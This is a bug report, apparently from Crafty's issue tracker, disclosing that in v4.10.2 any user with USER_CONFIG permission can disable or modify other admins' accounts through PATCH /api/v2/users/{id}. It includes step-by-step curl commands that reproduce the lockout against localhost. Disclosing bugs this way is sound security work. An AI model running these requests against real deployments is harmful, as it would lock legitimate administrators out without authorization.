## Quick Information - **Operating System:** Linux - **Install Type:** Docker - **Crafty Version:** v4.10.2 ## What Happened? A user with the USER_CONFIG Crafty permission can modify any other user's account by sending a PATCH request to /api/v2/users/{user_id} with an arbitrary user ID - including accounts belonging to other admins or managers they do not own. The endpoint only checks whether the requesting user has USER_CONFIG permission, but does not verify any manager/subordinate relationship between the requesting user and the target user. This means a USER_CONFIG user can set enabled: false on any account in the system, effectively locking out other administrators. ## Expected result The endpoint should verify that the requesting user is the manager of the target user before allowing modifications. Requests targeting users outside the requester's management scope should be rejected with 403. This check already exists for the password field specifically, but is missing for all other fields including enabled. ## Steps to reproduce 1. Authenticate as a non-superuser with USER_CONFIG permission and obtain a Bearer token. `curl -k -X POST https://localhost:8443/api/v2/auth/login \ ` `-H "Content-Type: application/json" \ ` `-d '{"username":"attacker","password":"attackerpassword"}'` 2. Retrieve the target user's ID via GET /api/v2/users. `curl -k https://localhost:8443/api/v2/users \` `-H "Authorization: Bearer TOKEN"` 3. Send PATCH /api/v2/users/{victim_user_id} with body {"enabled": false}. `curl -k -X PATCH https://localhost:8443/api/v2/users/VICTIM_USER_ID \` `-H "Authorization: Bearer TOKEN" \` `-H "Content-Type: application/json" \` `-d '{"enabled": false}'` 4. The target account is disabled regardless of the victim's role or permission level. ## Screenshots {width=847 height=78} {width=851 height=90} {width=846 height=89} {width=857 height=426} ## Priority/Severity - [x] High (anything that impacts the normal user flow or blocks app usage) - [ ] Medium (anything that negatively affects the user experience) - [ ] Low (anything else e.g., typos, missing icons/translations, layout/formatting issues, etc.)